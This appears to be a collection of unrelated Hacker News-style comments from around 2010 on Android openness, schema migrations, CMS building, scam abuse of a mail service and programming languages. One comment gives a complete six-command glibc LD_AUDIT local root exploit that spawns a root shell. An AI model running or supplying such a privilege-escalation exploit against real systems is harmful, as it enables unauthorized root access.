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Or it supports X language provided by Y plugin and per-line versioning elsewhere. Does a python programmer care if his magical VCS tool doesn't understand the semantics of !python code? I think the parent's suggestion is quite novel!
Maybe there is not enough people checking the new submisson page. This is logic because it takes time and competes with work to do. Though there is an incentive to check the new submissions because chances for a comment in them to be upvoted are much higher because it gets more eye balls. This is not true when there are already 40 comments like in this thread.
If it walks like a duck and quacks like a duck...

Please see the end of the first line in my previous post: ...the only difference is that marketing gave it a new name.
the http://www.fortiguard.com/ network protection we have here in work has flagged your site as porn wont let me in. just FYI.
Jeese - this is a tough crowd. I can think of several Irish businesses that I have worked for that would grab this guy straight away to train him. He may not be the worlds greatest programmer (he does not claim to be) but his attitude is great, he is creative and resourceful for thinking of this idea and he does not take himself too seriously.

I have trained several hundred people in software development when working as a contract trainer and it was always attitude that allowed me to guess who would be the more competent programmer.

I would prefer to hire a well rounded competent young person who could become a solid competent developer that some rockstar programmer with no personality. Fair play to this guy, he is doing something original instead of feeling sorry for himself.
Also, I'd try testing price points of $1.97 and $2.47 when you launch the pro version.
Google makes no money off of Android but they've put massive resources into it.

You honestly believe this? Then the must not be making tons of money off of search either. Oh but they are, to the tune of millions. And Android? $1Billion in revenue.

No one hates Google, but a kernel doesn't make an OS. Which is why Linux is known as GNU/Linux. By that logic OSX is also open source, you can even download and compile their kernel from here http://www.opensource.apple.com/

People are hating because they were promised open, but what they got comes with a lot of strings attached. What good is downloading the kernel and running make if you have nowhere to install it?
The same thing, basically, happened to a guy I know from the UK. He had lived here for years and was working on an application for permanent residency, but now he's no longer in the USA because of issues with his employer and visa.
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We currently have about 3000 users and process way more than 20000 reports every month. So this shouldn't be a problem, although it depends on the size of your network ;)

Let me know how you like it and if you have any suggestions.
http://opensource.apple.com/
Yes, you won't get everything from there.
But where can I get a source for Google Voice?
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well it was incredibly informative (thanks!), but you do not have the problem of schema changes.

In a traditional DB, one needs to manage addition and deletion of columns, during the development of a project. And one needs to be able to synchronize these database schema changes with the rest of the team.
And it is nice to have these as incremental (yes there is the obvious waste of creating a column in one migration and dropping it in the other)
Migrations also allow you to do stuff like add indexes etc to your tables and is not just a one-to-one mapping of your objects to the DB.

Which is why migrations (Rails and Django's South) are so extremely helpful during development.

One of the things I that was for something like Linq (Scala has something called squeryl) and you could have your database created from your objects - not optimal, but enough to start with.

FWIW, ease of managing incremental schema is why Drupal (using drush and "Drupal Features" ) is one of the better PHP frameworks.
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Laff! Ubuntu is pursuing Windows like Frankensteins monster - slowly but inexorably.

It will catch and surpass it.
I'm trying to plan a wedding (a lot harder than any project I've started to date!) and working on some new features for http://onesentencereview.com
Thank you for letting me know. I have requested that fortiguard correctly reclassify my site.
Unless you want to build it from scratch, it's a matter of a two or three dozen lines of glue code between libraries.

I've recently built a custom, light CMS for a friend based on

* PHP
* Smarty for the templates [1]
* a few YAML files for the DB [2]
* Markdown and Smartypants for the text markup. One file per blog post. [3][4]
* Some .htaccess magic to create clean URLs

Sprinkle some CSS on top and you've got a new site :-).

I didn't implement any search facility, but I guess there are several libraries that cover that functionality as well.

See [5], [6] and for Common Lisp equivalents. I couldn't find a mature YAML parser but JSON is of course a decent alternative. There's [7], but the project is on hold and not documented at all.

I guess the biggest hurdle would be the translation of the Yahoo Store posts into Markdown. Note that Markdown supports embedded HTML, which should make things easier.

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1. http://www.smarty.net/

2. http://code.google.com/p/spyc/

3. http://michelf.com/projects/php-markdown/extra/

4. http://michelf.com/projects/php-smartypants/

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5. http://common-lisp.net/project/cl-markdown/

6. http://common-lisp.net/project/cl-json/

7. http://github.com/tychoish/cl_yaml
But they only provide binaries.

It's always easier to develop for a system you have the code for, even if you can't modify it.

With iOS, you get more time to fix your code, but sometimes you have to speculate why the system works they way it does; with Android, the SDK drops later, giving you less time to code, but it's easier since you can find out why the system behave the way it does.
> There was the undisputed king, the iPhone,

Uh, actually there was Nokia if your memory goes back more than a few years. I agree with the rest of it though. "Free stuff" is pretty cool in my book!
> How much of the Android source beyond the modified kernel and GNU utilities is available? Oh, all of it.

Google's Android apps (mail, maps) and marketplace are closed and only available for certified devices.
> a kernel doesn't make an OS

You realize that Android is a lot more than just the Linux kernel, right? And that almost all of it is available under an open source license?
Kaczyniski apparently didn't believe that his ideas would lead to "peace and love" - he was explicit that he was not trying to tear down the system to replace it with something better, but simply as an end in itself.

I think trying to bundle the Unabomber in as a part of the tedious Left-vs-Right culture wars misses the mark spectacularly. After all, he seems to have been driven to act against technology and science based on its percieved corrosive effects on individual liberty! Eg. "In these pages, it is argued that continued scientific and technical progress will inevitably result in the extinction of individual liberty."
Here's a further demo showing a social graph (Twitter friend relations at a BarCamp) with an image hack on ProtoVis' directed force graph: http://ianozsvald.com/2010/10/05/visualising-lanyrds-social-...
It works great in Chrome/Safari and ok in Firefox. It runs like a dog on the iphone 3G. Kyran (who hacked ProtoVis) is working on a Canvas reimplementation which runs faster on mobiles.
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The Gilf is a good example of something that needed investment to get started:
http://www.kickstarter.com/projects/danprovost/glif-iphone-4...

My understanding is that the people funding these sites do not own any part of the business. Clearly for that reason it's not interesting to investors but can be to business owners.
Building mifi (clear) into a phone-like tablet (archos 43) with voip (skype)
I made this post in reddit.com/r/tech as well.

Combining the Archos 43 or similar product with clear (or a similar company) to enable cheap, fast wireless and giving the device wake on LAN for superior VoIP service, well, that would be mine blowing and a far superior option to the current phone company set-up.

The Archos 43 was meant to be a phone, and it retains the form-factor, but now you can potentially use it with clear or a similar mifi service. I think marketing it with the cell phone alternative angle would be genius and would really sell units. The device is fairly priced, mostly spot on feature-wise. It lacks GPS support, though, and would be much better as a smartphone alternative with it.

Is there anything stopping archos or any other company from doing something like this and marketing it as an alternative to the traditional cellphone?
Please use your industry connections and whatnot to get this message to higher places and make this a reality. Thank you, reality overlords.

Sources:

http://www.archos.com/products/ta/archos_43it/specs.html?country=us&lang=en

http://www.clear.com/coverage
http://www.clear.com/shop/services

https://www.google.com/voice
http://www.skype.com/intl/en-us/home
etc.
That's 6 commands to get root access:

mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 999< /tmp/exploit/target
rm -rf /tmp/exploit/
echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' | gcc -w -fPIC -shared -o /tmp/exploit -xc -
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999

I tried, and at least glibc 2.6 and up are not vulnerable.

Edit: cat -> ping
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This is the exact reason why Apple shouldn't want to buy facebook (at least right now). The A4 chip is the first in a long line of supply chain consolidation. I wouldn't be surprised if in a few years time we saw a Macbook Air with an A4 type CPU and a more iOS-integrated OS X (for both x64 and A4). The more ownership of the supply chain Apple has, the more they can inflict quality control standards on to it, and the cheaper they can make equipment.

I think ping will succeed as far as Apple's initial goals are concerned (more iTunes sales), but will fail as a social network until they find a compelling way to integrate it into the iPhone experience. Personally, I think the killer app for ping as a social network is messaging and status updates (as every iPhone user has iTunes and thus access to ping) but Apple can't create a messaging client without raining on the Carriers' and developers' parades.
Ask HN: How to stop leachers abusing our site
Hello,

I run a service called BlueMailCentral.com. That allows you to send a letter (snail mail) from your PC to any country in the world. As a marketing instrument the first letter is free of charge, no questions asked, no payment needed. The problem I have now is that a group of people are abusing my system to send out the famous Nigerian scam mail. (I can't believe people still fall for that.)

Besides the fact that it is actually costing me money it also damages BlueMail’s reputation because my logo/url is on the back of the envelope containing the scam letter.

My problem is that I want to stop them while maintaining the low threshold for the real customers.

As far as I can tell they handle the registration process manually, that makes solutions like (re)capcha etc useless.

Any ideas/tips/suggestions ?
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Firefox used to have an actual kitchen sink as an easter egg:

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If they're paying for the software, don't you think they should be signed over the IP?
Let's say you had an eclipse plugin that let you write in lisp, but it actually converted the code to java underneath. You could click a button to switch between views. Are you saying that would be a bad thing? If a tool allows you to be more productive, I use it. Note: I don't use lambda4jdt at all, I just like the idea of creating problem specific views for code and I don't think that belongs at the language level.
Aside from the boring things like taking a full course load, preparing for the ACM ICPC in November, being the ACM President, being the IT Chair of Phi Psi, and having a social life, I am co-teaching Northwestern's "Network Security and Penetration" course this quarter. The project which I'm leading a couple groups on will be a generalized web attack framework written in Python that will focus on identification of vulnerabilities, easy presentation and analysis, and exploitation.

I'm hoping it will also operate using the event-based Twisted framework instead of the standard multithreading network applications. https://bitbucket.org/agocke/attack.py
Actually, I thought I read about someone who bought a certain position in the market such that, if everything was priced correctly, they would lose a known amount of money each day.

But every time a "black swan" sort of event occurs, they'd make big money. It was on TV, so I don't have a citation handy, but I suppose that they could be said to be making money off of the assumption that people can't correctly price these things.
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I know I'll get flamed for this, but that's actually beautifully elegant.
You guys can now access the YC Winter 2011 chat at: http://www.nodejscloud.com:8001/ as well.

See you there.
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What purpose the YC "fridge" serves beats me too. I do, however, find the service useful. And I think "Simple Private Social Networks" says it all: it tells me that I can communicate with a specific group through an interface similar to that of FB, but keep it private.

Sure, you can add settings that make you 100 % certain that no photos you upload will ever be seen by anyone outside a specific group of people (can you, really?). Are you certain that other members of the same group will "behave"? Encapsulating it in a "fridge" gives me some level of comfort. And you can use the full FB feature set with a limited audience. You can also communicate with a group, but not add everyone in the group as a friend on FB.
Not a bug - it's part of RVM's design.

RVM reads .rvmrc files in each directory you change into. How does it do this? By redefining 'cd' to be a function wrapping the real CD command, with some extra RVM stuff in between the changing of directory and return.

Check it out: http://github.com/wayneeseguin/rvm/blob/master/scripts/cd

My problems ('cd' with no arguments didn't take me back to my home directory any more) occurred about a month ago (I was using the fish interop mode - that might have been the problem), and it's probably been fixed since. But the whole thing scared me out of continuing with RVM.

If there's a bug in RVM, I sure as hell don't want it to manifest in my 'cd' command. I need to be able to change directory, and my scripts rely on it to always work.
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Run a spam filter on the incoming messages, if the filter tags them suspicios, require manual review before postage.

Another option would be to check whether the abusers are coming from a specific IP range, and simply deny access to them.
I'm working on a remote control for
Google TV based on computer vision and gesture recognition.

This is my masters dissertation and I'm currently researching algorithms and techniques that enable real-time detection and tracking of hands or objects.

A prototype will be made for the Logitech revue if I succeed :)
It's shiny. Helps deal with overly coupling your js UI to the DOM and makes engaging UX far easier to create.
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There is an inferred point in this post, touched on in the last paragraph: that this tendency to lump a lot of operations into one line is less about bad language design and more about lazy programmers. I never stated that statically typed languages ARE bad, but that they ENCOURAGE (lazy) programmers to write bad code. A lazy programmer might see that as bad code but not fix it because he doesn't want to go through the work mentioned in the post. A lazy programmer may not know the IDE functions that would do the work for him.
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> So get a Nexus One.

That phone is not publicly available unless you're a dev.
This might sound heretical, but I find that current Eclipse 3.6 for Javascript is not bad at all.
http://www.eclipse.org/downloads/packages/eclipse-ide-javasc...

Since hard drive space is cheap, I have different Eclipse installations for each language I use. This seems to cut down on plugin hell and slowdowns that people often complain about.

I can't comment on how good Eclipse is actually for web development, but for embedded Javascript scripting it works splendidly. Most precisely, it lets me zoom in and out of abstractions in a large project with multiple files with ease.
I take it you find the one-liner more aesthetically appealing? I'm not arguing, just taking a survey. I'm deeply interested in what constitutes "good" code.
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I like the idea a lot. It would be interesting to see how startup homepages evolve over time. It would also be interesting, where possible, to see other pages. For web applications: screen shots of the application, for non-web based start ups: about page, faq, etc.
You are kind of making the assumption that there should be something better than Vim and Emacs because they where created decades ago and are not pretty "gui driven" applications. Programming is simply writing and editing text. Vim and Emacs are editors and they fulfill their jobs marvelously, and that's OK. We don't need no stinking IDEs!
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"I know it's tongue in cheek, but my god does the current generation not have any humility at all?"

My god does people from older generations not label an entire group taking solely one sample?
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> The amount of crippling done by the carriers is not Android's fault nor is it in any way advantaged by Android being open.

Of course it is. Proof in the pudding: iOS has none of it.

> The same crapware has been on Symbian and other (closed) mobile operating systems for a long time.

because Symbian and WiMo were open to carriers and manufacturers.

> I don't know what is stopping HTC/Motorala/Samsung from trying to enforce similar conditions for its Android-based devices.

Because they don't care and because their client is the carrier, not the end-user. An aussie ISP put it quite succinctly a few days/weeks ago when they declared they didn't understand why Apple didn't bow to their demand when they were its biggest customer in Australia.

To Apple, carriers are not customers. They're generally hindrances and they might be partners, but Apple's customers are end-user.

Not so for HTC or moto.
The writer has a good point, but he is also somewhat confused.

His argument is not really about the advantages of dynamic typing, but rather those of implicit typing, which is a more or less orthogonal concept.

Thus, as others have pointed out, Haskell, with its implicit static typing, does not have this problem.

Even C++(0x), with the new use of the "auto" keyword, allowing for implicit static typing, would not have the problem.

And Python, with its implicit dynamic typing, does not either.

But Java, with explicit static typing, does have the problem.
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What if the understanding you have is fundamentally wrong? That's the point - he wasn't saying that he had a replacement for Black-Scholes. He was saying that anything based on Gaussians is broken beyond any utility, no matter how tempting it is to believe the theoretical story behind it. You don't need to be a tailor to see that the emperor has no clothes.

That's the tragedy, in a way. The portfolio managers were saying that they needed a tool to assess risk, and that any tool was better than nothing. Mandelbrot turned around and proved that a bad tool is worse than nothing, and got ignored because it might take another hundred years of research before his ideas can get turned into a practical tool.
I saw this the other day, I think it is ONLY on their blog.
Working on my startup project http://inspection2.com. This is my first project with Django and JQuery, so I'm mostly spending time learning things.
The thing about ruby that I like is that it is like geek fanfiction.

When you read a piece of fan fiction you can usually follow the writer's sources of inspiration - 'there's a piece from harry potter - he got that idea from star trek - and there's some lord of the rings' etc. You can tell they've read them all and felt a desire to combine them - to see what would happen if Frodo got a lightsabre for instance. since they couldn't find this in the stories, they wrote their own (with widely varying results).

ruby is like that in that Mass address PROBLEMS with programming languages. You can tell Mass has struggled with stupid crap in every language out there and decided to write his own.

It's hard to name exact examples but over and over again while learning ruby I thought - 'aha that's how BASIC should have done it' and 'why doesn't EVERY language do it like that?'

Also, while looking up how to do something it has repeatedly turned out that the solution was the simple one I first thought of and immediately rejected as too easy.

Once ruby gets a proper fast compiler it will sweep all before it.
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Thanks. 1. I've been talking about reading typography for a long time and just got curious about what writing typography could be like. 2. Was always jealous of those amazing coding apps. 3. noticed that switching between writing in a small input field in the backend and reading in (a designed) preview mode on the frontend in WordPress improved my writing and just couldn't figure out why. 4. Secretly stalked people who wrote texts on computers at work, in cafés, and when visiting clients (online newspapers). Yeah and then (since I studied Philosophy) there was all this theoretical stuff (Barthes, see below) in the back of my head.
i.e. the difference between necessary and sufficient conditions.
Why not simply start using /usr/bin/python3 always for Python 3?
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The problem with trying to use Black-Scholes only within its limitations is that it would never, ever get used in any real market. Its fundamental assumptions just don't match the way price movements actually play out.
10 000 hours of work(!) is a necessary(not sufficient though) condition, rather than "thinking".